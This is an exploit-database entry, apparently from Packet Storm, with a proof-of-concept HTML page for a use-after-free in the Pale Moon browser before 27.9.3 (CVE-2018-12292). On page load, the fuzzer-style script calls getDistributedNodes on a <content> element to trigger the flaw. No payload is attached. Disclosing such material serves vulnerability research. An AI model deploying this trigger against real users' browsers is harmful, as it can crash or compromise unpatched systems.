Pale Moon Browser Use-After-Free

2018-06-1800:00:00

Berk Cem Goksel

packetstormsecurity.com

0.058 Low

EPSS

Percentile

93.5%

JSON

`# Exploit Title: Pale Moon Browser < 27.9.3 - Use After Free (PoC)   
# Date: 2018-06-13  
# Author - Berk Cem Goksel   
# Vendor Homepage: https://www.palemoon.org/   
# Software Link: https://www.palemoon.org/palemoon-win32.shtml   
# Version: Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)   
# Tested on: Windows 10   
# Category: Windows Remote Exploit   
# CVE : CVE-2018-12292   
  
  
<html>  
<head>  
<style>  
</style>  
<script>  
  
function SetVariable(fuzzervars, var_name, var_type) {   
fuzzervars[var_type] = var_name;  
}  
  
function jsfuzzer() {  
  
var var_1 = var_2.getDistributedNodes();  
SetVariable(var_1, 'NodeList');   
  
}  
  
  
</script>  
</head>  
<body onload=jsfuzzer()>  
<!-- beginhtml -->  
<content id="var_2" loopend="1" default="" max="0" charset="ISO-2022-JP"></content>  
<!-- endhtml -->  
</body>  
</html>  
  
  
`

0.058 Low

EPSS

Percentile

93.5%

JSON

Related for PACKETSTORM:148228